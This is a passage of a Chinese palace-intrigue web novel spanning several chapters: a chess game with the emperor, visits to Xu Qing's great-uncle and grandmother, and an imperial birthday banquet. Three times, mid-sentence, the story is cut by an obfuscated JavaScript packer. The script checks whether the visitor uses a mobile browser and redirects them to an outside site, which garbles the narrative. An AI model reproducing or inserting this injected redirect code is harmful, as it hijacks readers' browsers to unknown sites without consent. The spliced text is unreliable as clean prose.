徐清福了一礼,乖巧地应答:“是。” 柳青烟细细打量了徐清一番,“倒也是个标志的人儿。” “娘娘过誉了。” 柳青烟摆了摆手,不欲再多说,摆了摆手便想上马车离开,好似就是专门在这等着姐妹二人见上一面。 但就在转身那瞬,柳青烟瞥见了徐清皓腕上的玉镯。 她的动作倏然顿住。 “你腕上的玉镯,哪来的?” 柳青烟忽而沉下来的语气让徐家姐妹二人都愣了一下。 徐妗腕上干净,没带任何配饰。 那柳青烟问的,就是徐清了。 说辞在几息间便于徐清的脑海中过了一遍,她上前一步,又行了一礼。 “回娘娘,这是昨儿臣女随静王殿下前去先皇后娘娘宫中,静王殿下给臣女的。” 话落,空气仿佛都岑寂了。 徐清一时判断不出这淑妃何意,心下有些微沉。 半晌,柳青烟才又开口,语气不似方才那般沉闷,却也听不出喜意。 “原是这样,既是祁儿赠予你的,便好好戴着吧。” “是,臣女知晓了。” 柳青烟重新上了马车,徐家姐妹垂首等着马车驶远了后才又上车。 马车摇摇晃晃停在宫门前,公公站在车旁扶着徐家姐妹下车。 “二位姑娘跟咱家进去吧。” 殿内,皇帝坐在上首,旁边坐着着装朴素的丁枣儿,下首左侧端坐一袭古朴青衫的柳青烟。 徐家姐妹入殿时,她正垂眼抿茶,而上首的圣人面色不虞,身旁的丁枣儿面色亦十分僵硬难看。 二人规矩行了一礼后,殿内安静非常。 几息过后,柳青烟轻轻放下茶杯,抬眸看向徐清徐妗,面色温和柔软。 “陛下,臣妾还要准备祁儿和瑜儿的婚事,此次宫宴怕是有心无力,不如让几个孩子帮衬着皇后娘娘吧。” “毕竟阿瓷离开了,我总得帮着她的那一份,将两个孩子的婚事办好。” 柳青烟话落时,上首的帝后面色几变,最后帝王叹了口气。 “那便听你的,你先回宫好好休息吧。” 柳青烟起身福了一礼,没再说什么,转身离开了大殿。 徐清余光里看着那道绿影消失。 看来在她和阿姐到之前,殿里发生了些什么。 柳青烟离开后,上首的帝王温和了些神色。 “这几日你们便同你们几位皇嫂们一起随皇后操办宫宴吧。” 旁边的皇后唇瓣翁动几番,像是想说什么,但终是没开口,面色也愈发难看。 徐家姐妹福了一礼,应了声:“是。” “朕听闻徐四善棋,可真?” 徐清闻言微微勾了勾唇,只道:“只略通一二。” “哦?那朕倒想领教一二。” “徐二姑娘便先留在这帮衬皇后一二,晚些朕派人送你们回去。” 徐清微微侧头,两双饱含担忧的眸子对上。 下一刹,二人又相互投去一个安心的眼神。 徐清跟在皇帝身边进了养心殿,宁人的香浸了满室,屏风后的桌案上已摆好了棋。 帝王直坐在黑棋那方后,抬手随意一指对面,“坐。” 徐清倒也不客气了,直接坐了下来。 皇帝率先落了一子,徐清倒没多思索,立刻跟了一子。 伸出的手露出了带着玉镯的白皙皓腕,帝王的目光落了一瞬后便移开,仿佛只是随意一瞥。 帝王的眼神落在棋局上,慢慢排布着,嘴上却随意出声,仿若闲聊:“这玉镯是老五给你的?” 徐清听了这话被分了神,转眼向手腕上的玉镯看了眼,面上带了些羞怯的笑意。 “回陛下,是静王所赠。” “这玉镯眼熟,倒像是他母后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949451|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西。” 面上露出犹疑,徐清轻轻放下一子,皓腕低垂,玉镯与棋盘相撞,发出清脆的一声。 “臣女不知这是娘娘的东西。” “是吗?”帝王扫了眼棋局,徐清已落下风,隐隐有落败之势。 “大梁信鬼神之说,亦信人死入轮回,坊间亦有人言故去之人托梦告慰。” “徐四你说,真的有死去之人托梦之说吗?” 室内一片岑静,随行的宫人不知何时退了出去,偌大的宫殿里只余徐清和威压甚重的帝王。 徐清藏在袖中的手不自觉地捻了捻。 她当然知晓大梁信鬼神之说,尤其是当今圣上更是深信不疑,而这份深信不疑正是在十年前开始的。 十年前,是先皇后病逝之时,亦是佛道二派大兴之时。 几息后,她面上露出一点笑,抬眼直视帝王。 “陛下信吗?” 帝王眯了眯眼,倒没计较她的无礼之举,像是在思考。 “臣女认为,鬼神之说也好,轮回转世也好,又或是……”徐清刻意顿了顿,对上帝王的视线继续道:“托梦告慰也罢,都是信则有不信则无。” “朕信。”帝王毫不犹豫地开口,“可她从未入过朕梦。” “明明朕也月月都去见她,为何呢?”话音渐弱,像是陷入自己的世界中喃喃地低语。 徐清有些讶异地挑了挑眉,幸而帝王已垂了眼,并未看到她的表情。 这偌大的皇城里,隐藏了太多秘密。 这也是她为何要编上那段托梦故事的原因,她想试试,试试这圣人是否真如外界所说不爱先皇后,昔日娶她不过为了稳固权势。 她识趣地保持沉默,像是没听见方才圣人说的话般。 面前的帝王仿若沉浸在悲伤中,好一会儿才复又抬头。 “她同你说了什么?” 徐清眨了眨眼,并不意外。 昨日在凤鸾殿门外,一波大抵是当今皇后的人,一波就是帝王派来的人。 这样想着,徐清又想到了沈祁,心下不免又怜爱他几分。 真是做些什么,都一堆人盯着他,防着他啊。 “娘娘入梦后,先是夸了臣女几句,后又托臣女带话。” “带话?给谁?” 徐清垂了眸子,像是在回想。 “许多人,淑妃娘娘,静王殿下,怀王殿下,还有柳大人。” 徐清适时收声,抬手又落下一子,大殿内又一次岑寂。 许久,皇帝才轻轻出声问道:“没了吗?” 徐清抿了抿唇,面上出现一丝惶恐,怯懦道:“臣女眠浅,很快便醒了。” 话至此,皇帝也明白了。 他似是悲痛无奈又似疲惫地抬手揉了揉眉心,随后摆了摆手。 徐清会意,起身福了一礼,慢慢退出了大殿。 临了踏出宫门时,徐清回首又望了眼巍峨的宫墙。 其实她编的故事里有很多漏洞,臂如她从未见过先皇后,也未曾与先皇后相处过,她自然是不知先皇后是个什么样的人,性子又是如何。 世人都道先皇后是个端庄温柔的人,可在徐清编的故事中,先皇后是个娇俏敏感的小姑娘。 还有那些所谓的“带话”,是她斟酌着编的,乍一听是没什么问题,却是禁不起推敲的。 这个瞎编的故事还有许多纰漏,可圣人却信了。 徐清这次很确定,养心殿那位是真的信了,难过失望是真,痛苦悔恨也是真。 此番她将圣人对先皇后的情试了出来,往后便可好好利用,替沈祁谋划。 只是圣人既对先皇后有情,又为何对沈祁如此偏心呢? 19. 十九 天理昭然 前几日方落了雨,城郊林间一片泥泞,一道脚步声飞速略过尚滴着水的枝叶,一点也不在意被打湿的肩头和溅了泥点子的鞋。 “见你一面当真是不容易。” 李月时还未坐稳当,脱口嘲了徐清一句,便急急将面前徐清煮好的茶倒了一杯出来,豪气地仰头,一口喝尽。 “你也不嫌烫。”徐清瞧她的样子无奈地又给她倒了一杯。 李月时也不同她客气,又是一仰头,她来得急,现下确实是渴的不行。 “你慢慢喝,喝不尽兴我继续给你煮。” 话落,李月时端着茶杯的手顿在半空,一双狐狸眼狐疑地凝向端笑的徐清。 思绪翻滚,半晌她重重放下杯盏,语气不善道:“我就知道这京城不是个好地方,好端端的人儿竟就被夺了舍去!” 徐清闻言笑意微敛,语气郑重:“我是为谢你此前帮了我。” 她说的是当初在查缘尘楼拐女时,李月时派人帮她在各地把事情闹大了些。 李月时摆摆手,刚想说小事,忽而眉目一转,徐清心下咯噔一声,一股不好的预感涌上来。 “所以居源和阁主答谢的方式就是煮一壶茶?”李月时笑着支起一条腿,手肘搭上膝头,指间把玩着茶杯,一副混不吝的样子。 “那你想如何?”徐清警惕地看着她。 “酒,我要你自己酿的酒。”李月时笑眯眯地,“没什么东西是萧钦年有,我李月时却没有的!” 徐清蹙起眉,手撑着脸,无奈地扯出一抹苦笑道:“我不会酿酒,那是萧钦年骗你的。” 天杀的萧钦年,昔年不过为求他办件事送了几坛酒作礼,他转头便去逗李月时,道徐清送了他她亲手酿的酒,但却没给李月时。 这件事李月时积怨许久,但她向来是个直性子,今日便自己开口要了。 可徐清是真不会酿酒,全是萧钦年想逗人玩自个儿杜撰的,偏偏拉了她下水。 李月时可是不管她会不会,左右当初萧钦年有的,她也得有一份。 徐清是服了这对冤家了,只得应下。 她记得当初这酒是双瑶酿的,届时让她再酿上几坛送去给李月时算了。 酒礼的事过了,今日李月时来找徐清是有另一件正事。 “武盟大比在即,今岁你们还是不来?” 徐清摇摇头,“不去,整个武盟谁家待见我,我去做什么?” 徐清少时建居源和,亦称聚缘阁,阁内人都因“缘”一字相聚,天南海北,徐清捡到一个算一个,都养了起来,只她觉得江湖也好,朝堂也罢,都有龌龊,故而在江湖中放出了她官宦子女的身份,一时间江湖中家家不待见。 也有想查她是哪家官宦的,可徐清也是个有本事的,想放的消息放了出去,不想放的消息压的死死的,故而时至今日,武盟皆知她是官宦人家,却不知她的真实身份,明面上掌事的也不是她,而是双瑶。武盟各家中真正见过她脸的,一只手便数的过来。 “这话说的……” 李月时闻言“啧”了一声,倒也就把话头止在了这,转而提起了另一茬。 “不去就不去,不说这个了,”她摆摆手,另起了话头,“你最近忙得紧,想来也不知晓我们那出了些什么事,我件件与你说来。” 徐清放下茶杯,一幅洗耳恭听的样子。 “云幽阁他们家少主前年不是入仕考功名去了嘛,这江湖啊,最忌讳同朝堂扯上关系,这不因为这,一连三年他们都没来武比,同你的处境倒是像了个十成十。” 李月时说着兴奋了些,“但这云韶接了云幽阁后,前些日子竟放了消息,道是今岁武比他们家也要参加,这一放话,各家都坐不住了,纷纷跳出来说江湖不与朝堂扯关系,早在云韶她哥入仕时,她云幽阁就失去参加武比的资格了,结果那云韶只淡淡回了句届时凭本事说话,可把各家气着了。” “且你可知晓,这里头跳得最欢的是谁?就是那年赋门,整个江湖谁人不知他们家做的什么生意,也好意思。”说着,她愤愤地啐了口。 虽说是江湖不与朝堂并,但年赋门接得却是朝堂的生意,哪家大人与哪家结仇啦,想灭谁的口啦,便来年赋门,杀谁都好说,就看这价格出不出得起。 这也是为江湖各家所不耻的,但谁让年赋门凭着这生意赚了个盆满钵满呢。 要说现如今的江湖中谁家最有钱,那必然是年赋门。 徐清扯了扯嘴角,抿了口茶,没多说什么。 李月时也不管她有没有反应,说完这件又自顾自的说下一件。 “萧钦年最近可烦死了。”李月时说起这个,面上带上了幸灾乐祸的笑。 徐清闻言挑眉,颇感兴趣地追问:“怎么了?” “萧云年几月前出门办事,见着了个俊俏公子,一眼便喜欢上了,非嫁给人家,人家都同她说已定了亲了,她也不管,当时还闹腾得紧。后来不知怎的,那周惊山竟忽然死了,现下萧云年还折腾着,要让萧钦年想办法将那害了周惊山的贼人抓了给周惊山偿命呢。” 徐清执杯的手一顿,她偏头抬眼直直地看向李月时。 李月时被她突然的目光惊了一下,“怎…怎么了?” “你方才说萧云年看上的俊俏郎君叫什么?” “周惊山啊。” “他死了?” 李月时点点头,“死了,尸体还是萧云年自己带回来的,萧钦年也亲眼见过了。” “萧云年在哪遇见的周惊山?” 李月时回忆了一番,“在庐州,那时萧云年闹着要嫁,一封接着一封信传回来,让萧钦年去一趟,萧钦年烦不胜烦最后还是去了一趟,毕竟是他自个儿的亲妹妹。” “那时他连拖带拽地让我一块去,我记得清楚,就是在庐州,我和萧钦年到的时候还见着萧云年缠着周惊山,说什么只要他愿意娶她,她就帮他去找那个什么萍娘,那周惊山急着挣脱她,只道什么他自己会寻,绝不做背叛之事,萧云年可气坏了。” 徐清静静听着,食指在桌案上轻扣着。 李月时话音方落,她便蹙起眉,“萍娘?” “怎么了?” 庐州,萍娘,周惊山。 徐清垂眸,唇角微微勾起又敛下,“没,想起了一件怪事。” 同李月时话别后,徐清在城郊的林子里七绕八绕了好一番,才走进一处宅子里。 方才又有些细雨落了下来,徐清出门未曾带伞,就这么一路淋着过来的,好在雨不大,徐清脚程也快,故而进屋时也就发间结了层薄薄的水雾,肩头那块布料微湿了些。 “舅公。”徐清轻声唤道。 廊下假寐的老人闻声缓缓睁开了眼,见是徐清,笑着撑起身子。 “是清清来了啊。” 林嵘舟坐直了些,但仍旧是靠在椅上,也没管徐清,任她自己斟茶吃果。 “舅公近日身子好些了吗?” “老样子啊。”林嵘舟扯了扯膝上的毯子,“倒是你这丫头,时不时就来一趟,这江南到京城有多远呐,一年到头来大半时间都在路上了吧。” 说着,视线又微抬凝在今晨徐清着急出门随手绾得发髻上。 大半日过去了,鬓边落了不少碎发,连发间的两根白玉簪都散散支着,一幅要落不落的样子。 徐清一瞧林嵘舟的眼神,立刻坐直了些,抬手将发髻重新拢好,饶是动作再快,也没逃过林嵘舟一通训。 “日日同你说,若要奔波动手便用发带将发丝都束起来,这样也好行动,你偏要用这簪子拢个四不像,过会儿你外祖母又该念你。” 徐清扶了扶白玉簪,闻言笑道:“外祖母才不会念我呢,只有舅公会,每逢我来定要挨您一通训,舅公若是不想锦贞来,下回锦贞就不来了。” 后半句是徐清故意这般说的。 林嵘舟这一生,膝下仅一子一女,幺女幼年夭折,长子战死沙场,如今孤家寡人一个,徐清能来看他,他自然是欣喜的。 “你这丫头。”林嵘舟失笑。 徐清也笑了笑,须臾搁下了茶杯,唇微微张了张,话在嘴边滚了一圈,也不知该不该说。 她这幅神态林嵘舟瞧得分明,他缓缓闭目,摆了摆手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984268|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你外祖母在后边院子里逗猫呢,自个儿去瞧吧,舅公就不送你去了。” 话也没法说了,徐清无声叹了口气,站起身来。 “锦贞与阿姐现如今都在京城,日后定常来扰您。” “那您歇着吧,我去看过外祖母后便直接走了,下回再来看您。” 林嵘舟哼笑了一声,这会儿是连手都懒得摆了。 穿过长廊,就见一老夫人坐在廊下,与林嵘舟一般的姿势半躺着,怀里窝着只狸奴。 老夫人着装简单,发丝灰白,两根银簪便绾了个简单的发髻。 “外祖母。”徐清在林蓉双身边坐下,轻声唤了句。 怀里眯着眼的狸奴听见动静懒洋洋地起身,向徐清扑来。 “嗯?”老夫人困倦得很,听见声了挣扎着睁眼,“是清清来了?” “是我,外祖母。” 徐清接住狸奴应了声,抬手揉了揉它的脑袋,狸奴舒服地晃了晃脑袋,窝在了徐清的怀里。 “到京城几日了?”老夫人懒懒打了个哈切,撑着身子坐直了些,但眼依旧阖着。 “有段时日了,前些日子发生了些事耽搁了,故而没来得及来看外祖母,外祖母勿怪。” “哼,”林蓉双笑了一声,“我记得与你们说过的,别把这七七八八累人的规矩带到我面前来。” 徐清拿起一旁碟子里的糕点咬了一口,含含糊糊地笑道:“是,清清记着呢,这不怕外祖母觉得清清不惦记你嘛。” “阿妗先前来时便与我和你舅公说过了,你办着一桩事,忙着呢,忙完了就来了,现下可是忙完了?” “忙完了。”徐清放下咬了一口的糕点,嫌噎得慌,“但发现了件怪事,还得去查查。” “你是个有主意的。”林蓉双说着,慢慢睁开了眼,眸底浑浊,不甚清明,“听闻圣人让你们姐妹二人帮着中宫筹办宫宴?” “是,不过中宫不待见我们,几乎都是盛王妃在忙活,我与姐姐,还有那周王妃成王妃不过跑跑腿,闲得自在。” “嗯。”林蓉双应了一声,偏头看向尚滴水的廊檐,柔声问,“小满那孩子可还好?” “一切都好,前些日子闹着要自己出门说是游历,我想着她功夫不错,自保有余,便让她去了。” 这也正是徐清方才想与林嵘舟说的。 却说林嵘舟膝下长子死在战场,却留了妻女在京中,只是其妻邓氏听闻噩耗,一时难以接受竟径直倒下了。 后来林青且等人的尸首被送回京城,军中有人告发林、温两位主将通敌,才致使与西陵的几场战事接连败退,甚至呈上两方密谋的书信为证,一时间朝野哗然。其后邓氏便将自己住的院子燃了一把火,烧死了自己和女儿。 林、温两家也受此事牵连,温家被抄家,林嵘舟因前半生的赫赫战功得了圣恩,留了一命,贬为庶人,林蓉双因远嫁江南未受牵连,其余林家人皆与温家人一般下场。 但其实林青且的女儿没死,被林蓉双和林嵘舟救下后送往江南,在徐府养了一年后被徐清转了出去,后来也一直是徐清教着长大的。 这事徐家不知道,林家两位也不知道,徐清两头瞒着,徐家以为是林老太和林大人又另给林小满找了安身的地儿,林家两位以为林小满现如今还在徐家养着。 “她倒是跟着你学了一身江湖侠气,还游历闯荡呢。”林蓉双哼笑,“罢了,那便随她去吧,我给她取小满这个字便是希望日后她能圆满,她欢喜便好了。” 徐清倒了杯茶,也懒懒地靠在椅背上,“小满也念着您呢,出门前还说着定要给姨婆找些好东西来孝敬呢。” “得了,说什么孝不孝敬的,你们这一辈,最重要的便是自己欢喜,我啊,就希望你们这一辈能无忧无虑的,什么都不用背负。” “可惜啊……”林蓉双叹了一口气。 徐清垂眸,无声笑了笑。 可惜什么呢。 可惜她们还是入了局,还是可惜她们注定背负一些东西而不得不入局呢。 “外祖母,天理昭然,一切都会好起来的。” 20. 二十 万寿宴(壹) “殿下当真要毫无保留地与徐四姑娘合作吗?” 宋阳端坐着,面前的热茶冒着白雾,他一口没动。 亭外溪水潺潺,红鲤从亭边游过,沈祁瞧着瞧着不知怎的忽而想起在江南与徐清同游那日,擦着他的面颊狠狠敲在他腕上的那把折扇。 “你说那日在江南密林中劫走粮草并把藏粮草之地告诉你的人是徐四,对吗?” 宋阳点头,“是,我护送徐四姑娘来京时与她交谈过,身形、声音都与那夜的黑衣女子一般无二。” 沈祁闻言也点了点头,“徐四一官家小姐会武,且武功极好这本就不寻常,她却从未掩饰。” “密林中凭她的本事,她本可以改变音色,或让旁人来传达她的指令,她却没这么做,便是她一开始就没想过遮掩,这是徐四的诚意,那么本王也该有诚意一些不是吗?” 但毫无保留自然是不可能,他与徐四本也是各取所需,必要时互相帮助罢了。 他也知道,徐四也必然不会对他毫无保留。 … “小姐,松枝被周惊山甩开了。” 先前在第一次见周惊山时,徐清便觉得这人不对劲。 出现的时机,知晓的线索一切一切都刚刚好得过分。 交谈时开门见山地点名了她的身份,再点出她在寻找许钰,最后说出他亲眼见到许钰被拐走的全程,料定了她会信,再抛出橄榄枝道有什么需要他都可以相助。 步步踩在徐清需要的点上,还一直强调自己是个浪迹江湖的粗人,仿佛在提醒什么似的。 徐清觉得太过巧合,便在林间与周惊山话别后,让松枝跟上他瞧瞧。 那日萍娘也在,二人相见却仿若不认识,这与李月时说的相悖。 于是徐清在密林中刚与李月时话别后,便立刻简信一封用飞鸽给松枝。 现下已有了回信。 “被甩开了?”徐清微微扬眉。 “窈音那边怎么样?萍娘顺利回庐州了吗?” 栖枝坐在徐清对面,边瞧着她煮茶的手不停,边应:“已到庐州,萍娘家中人很高兴,周惊山的家里人知晓后差人来问周惊山的下落,萍娘如今已知晓周惊山去找她至今未归。” “去信给窈音,让她留在庐州帮着找上一阵,待我下次去信时,编个理由把萍娘带来京城。” “好。”栖枝应了声,随后伸出手,“我来。” 徐清笑着手一躲,“可别,上回你在家煮,烫着了手,我可被大哥好一通训斥,可不敢再让你碰了。” 栖枝无言了一会儿,耳垂微红,最后头一别,起身取纸去写给窈音的简信去了。 “歌瑾窈音未归,过几日的宫宴得你陪我去了。”徐清煮好了茶,轻呷了一口。 “对了,礼可备好了?” 闻言,栖枝轻点了下头,执笔的手未停下,“都备好了。” 徐清微蹙眉,抬眼看向栖枝,一时间这几日埋在心底的不安更重了几分。 时间转瞬而逝,宫宴那日,徐家姐妹二人是被圣上派来的人接进宫的。 宫门口,停了挂着各家宗姓牌子的马车。 徐清刚下马车,迎面便走来一个着装素雅的女子。 “徐姑娘。” 面前的女子见礼端庄,徐清不着痕迹地打量一眼,心下思量,面上已做出回礼。 “不知这位小姐怎么称呼?” “柳氏闻依。” 柳闻依,为避皇后安排亲事,自请随淑妃入寺为早早仙逝的小姑母祈福的柳家女。 也是沈祁的表妹。 徐清一时拿不准柳闻依前来与自己打招呼的动机,只微微笑道:“曾闻柳姑娘随淑妃久居大慈恩寺,身带佛性,宛若神女,颜如赪玉盘,今日一见,果真如此。” 柳闻依笑笑,“徐四姑娘谬赞,闻依亦听闻江南双姝绝代无双的美名,前几日见了徐二姑娘便觉得这话一点不错,今日见了徐四姑娘,竟觉得这话还说差了些。” 徐家自开国后便举家迁至江南,后代偏居一隅,低调行事。 这“绝代无双”的美名,徐清倒还真不知是哪儿传出来的。 故而徐清听了也只笑笑。 恰巧此时徐妗缓过了神,从身后的马车里掀帘而出,打破了这方已渐渐安静下来的氛围。 今早时,徐妗便觉得身子有些不适,适才便在马车里头歇一会儿。 徐清一见徐妗撩开了帘立刻回身迎了上去。 “阿姐,可好些了?” 徐妗摆摆手,“无碍。” 待站定后,一抬首便瞧见站在不远处的柳闻依。 “柳姑娘。” 二人见礼,柳闻依从袖口掏出一个小小的瓷瓶。 “看徐二姑娘身子不适,此药安神静气,或许有帮助。” 徐妗抬手接过,微微苍白的脸上扬起一抹浅笑,“多谢柳姑娘。” 柳闻依不再多说,又欠身福了一礼,转身往宫门走去。 徐家姐妹的目光落在徐妗手中的小瓷瓶上,各自思索,一时间二人都没动作。 直到旁边来接她们的公公出声提醒,“二位姑娘,随咱家一道进去吧?” 二人回神,徐妗将瓷瓶收回袖中。 “有劳公公。” 此次宫宴乃是为庆贺圣上生辰,礼部按圣上的意思请了诸多官员。 长长的宫道上,不时有人向徐家姐妹身旁的公公见礼。 徐清与徐妗对视一眼,随后徐清唤了声“公公”,在那宦官看来时,抿出一个不太好意思的笑来。 “我与阿姐是第一次来参加宫宴,且这还是圣上的寿宴,今日阿姐又有些不适,劳烦公公替我二人讲解一二,省得我二人晚些冲撞了贵人。” 那公公闻言笑得不见眼,“姑娘不必担心,今儿啊,来的都是正三品以上的大人,姑娘见了礼便好。待日后二位同静王怀王成了婚,这些大人还得向您二位见礼呢。” 说完,忽的又想起什么,一只手敲了敲自个儿脑门,“瞧咱家这记性,今儿来的还有齐阳王,那可是个脾气不好的主儿,二位要是见着了这位,能躲就躲吧。” “为何?”徐清面露好奇,“脾气不好应也不会随意刁难人吧?” 那公公瞧了瞧四周,随后弯腰凑近了些,低声道:“那齐阳王啊,自打那年在林温两家战败后力挽狂澜,击退西陵后得了盛宠,封了藩王后,丢了个女儿,此后啊性情大变,谁也不知道遇上他会被找个什么茬。” “这样……”徐清若有所思地点点头,随后笑着往那公公的手中塞了包碎银,“多谢公公。” 那公公也不客气,笑眯了眼收下了那荷包。 公公带着二人到了宴厅处便离开。 因着不久后便是秋猎,每年的万寿宴便都不曾大肆操办。此时宴席未开,各官三三两两聚在一处笑谈。 不远处,沈祁和沈瑜站在一块儿,旁边还站了个满脸喜气的宋阳。 徐清正打算收回目光,带徐妗找个角落再歇会儿,就瞧见沈祁望她们这看了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想到这,一连折了两个助力的沈硕胸腔中的怒火不断上涌。 “本王想,本王给徐姑娘展现出了绝对的诚意吧?还是说徐四姑娘有别的想要的?” 徐清直起身,面上的笑意微敛。 “殿下说的诚意便是那个锦盒吗?” 进京前,在郊外那个客栈,黑衣人送来的木盒。 里头放着一枚刻着“林”字的玉佩。 “徐四姑娘不会认不出那是谁的东西吧?” 徐清当然认得出来,那是她表舅父林青且的东西。 “自然认得出。” 她说着目露哀伤,“可故人已逝,殿下将这枚玉佩给臣女,是为让臣女睹物思人吗?” “当然不是。”沈硕向徐清走近几步,“林将军死在战场上,却背上通敌的罪名,徐四姑娘难道不想为你舅父翻案吗?” 徐清还带着哀意的眸子睁大,仿佛被惊到,“殿下可是知道些什么?” 沈硕似是十分满意徐清的反应,满是阴郁的脸上终于露出笑来。 “徐四姑娘想知道更多的话,可就拿些东西来换了。” 远处宴厅传来热闹的喧声,而这一片暗处却两厢静默。 不知过了多久,徐清才又有了动作。 她微微低身,垂首又行一礼,“若殿下能助臣女替林家翻案,殿下要臣女做什么,臣女万死莫辞。” 看着沈硕的身影消失在小道,徐清这才往园中的浮碧亭走去。 “殿下还不出来吗?” 话刚落,徐清便觉一道劲风从侧边袭来。 21. 二十一 徐清身子后仰,脚下迅速后撤两步,躲开了沈祁的招式。 沈祁见她躲开了,也不追着出招。 二人站在浮碧亭里,周遭昏暗的烛火微微照亮两人的身影。 沈祁的脸隐在暗处,声音辨不出情绪,“徐四姑娘不给本王一个解释吗?” 嘴角牵起一抹笑,徐清向沈祁走近两步,微微歪了歪头,似是不解:“殿下想要什么解释?” “解释我为何答应了成王?” “还是解释,我想做的事情?” 沈祁垂眸,望进徐清带着戏谑的眼底,没说话。 “殿下应当知道,盟友间最重要的是价值,和信任。” “谁能给我想要的,且能给得更多,谁信任我,我就是谁的盟友。” 徐清笑着道,清凌凌的眸子也望着沈祁黑沉的眼,一点也不怵。 “你想要什么?”沈祁淡声问。 “我与阿姐倾举家之力,助王爷成就大业,事成之后,烦请二位王爷写一封和离书,好让我与阿姐回江南。” 沈祁很爽快地应下:“事成之后,我与你写和离书,但你阿姐那份,就不是本王能决定的了。” 许是见徐清蹙起了眉,沈祁又补充道:“我四皇兄心悦你阿姐,届时愿不愿意放人,得看他自个儿。” 徐清有些讶异:“他还真喜欢我阿姐?” 见她这样,沈祁也惊讶:“在江南那会儿你不是看出来了?” “我猜的。”徐清有些不解,“怀王殿下为何心悦我阿姐?他们此前可曾见过?” “这就得让他来回答你了。”沈祁耸了耸肩,一副我也不知道的样子,“徐四姑娘就这一个要求?” “还有,”敛起方才的讶异,徐清正色,“帮我一起替林家翻案。” “殿下方才也听见了,若能替我帮林家翻案,要我做什么,万死莫辞。” 这是她方才对沈硕说的话,同样也说与沈祁。 闻言,沈祁沉默下来,不再像前一个要求时那般干脆。 片刻后,沈祁提醒她:“三皇兄向你抛橄榄枝,是因为他觉得我的威胁更大。” 言下之意,沈硕只是想将徐清当作安插在沈祁身边的棋子,并不一定真的会帮她翻案。 “而我即将嫁给你,他觉得我作为枕边人应当能知道不少。”徐清补上他的话,脸上挂着了然冷静的淡笑。 “所以,殿下还希望我解释什么呢?” 又回到沈祁最初问的那个问题。 徐清转身,走出浮碧亭,语调平静:“我与殿下本就是一条船上的盟友了。” 闻言,沈祁放松了身子,倚在亭柱上,双手环于胸前,目视着徐清缓缓离开的背影。 待徐清的身影即将没入黑夜时,沈祁才微微扬声:“徐四姑娘想要的,本王会帮。” 沉稳的男声随着微凉的夜风飘进徐清的耳朵,她脚步不停,唇角的笑意加深。 刚走到宴厅外,就见不远处栖枝小跑着回来。 后头还有一个一身锦服的高大男子一路跟着,还手舞足蹈地比划着什么。 徐清蹙起眉,快步走过去,在那男子的手伸向栖枝时截住。 “嗷!”那男子措不及防地嚎叫出声,面色因手腕上的疼痛都有些狰狞。 “疼疼疼!松手啊!” 徐清用力甩开,那男子被这道力带的连退几步。 这动静引来了其他人的注意。 好在下一瞬,一道尖细的嗓音将所有人的注意力又引走。 “陛下,皇后娘娘到——” 徐清牵过栖枝,准备跪下行李,就看见那男子身后走来的一个与他容貌相似的男人。 那男人的目光越过徐清落在栖枝身上。 远远的,看不清男人眼底的情绪。 徐清皱了皱眉,侧身挡住身旁的栖枝。 下一刻,众人齐齐跪下行礼,高声:“参见陛下,皇后娘娘。” “陛下万岁万岁万万岁,娘娘千岁千岁千千岁!” “平身罢。” 圣上坐在高位,众臣各自入座。 公公开始按品阶宣读众臣献赠的贺寿礼。 第一个宣读的就是齐阳王的贺礼。 但站出来贺词的却是方才遥遥看来的男人和方才跟着栖枝的男子。 徐清看着站在大殿中央的男人,心中的不安升腾。 “臣齐予安,携弟齐行安,替家父前来贺陛下圣体康泰,万寿无疆。” 上首的皇帝面上带笑,出口的话仿若只是在拉家常,语调却沉沉:“齐卿为何没来?可是身子不适?” “回陛下,家父确是身子不适,无法前来。”齐予安弯腰垂首,“家父自十年前小妹不幸走失后便常常深夜垂泪,如今思念成疾,需每日卧榻食药。” “这么严重?”皇帝面上微讶,转瞬又吩咐下去,“朕派人此番与你一同回去,将齐卿接进京城来,让太医院替他诊治。” “多谢陛下美意,只是家父如今的身子已不能支撑他走远路。” 话至此一顿,齐予安腰又往下弯了弯,“但臣此番入京,已有了小妹的消息,相信只要小妹归家,解了家父的思念之苦,自然病退。” “噢?”皇帝眯了眯眼,“可是知道人如今在哪了?可在京城?” “回陛下,确在京城,只是……” 上首的帝王大手一挥,身子稍稍前倾,“只是什么?说来与朕听听,可是那家人不愿让你们兄妹相认?朕可替你们做主。” 低着腰的齐予安这时微偏过头,向徐清看过去。 一时间,大殿上所有人的目光都往那个方向而去。 四目相接,放在膝上的手猛地攥紧,徐清垂下头,眼中闪过杀意。 帝王低沉的笑声打破了沉默,“齐卿作何看着徐四丫头?” 齐予安收回视线,“回陛下,臣并不是在看徐四姑娘,是在看徐四姑娘身边臣的小妹。” 说着,齐予安和齐行安双双跪地,“臣恳请陛下做主,允臣认臣妹归家,臣实在不忍在看本可以在家父和臣身边无忧长大的小妹,在她人身边有为奴为婢。” “陛下!” 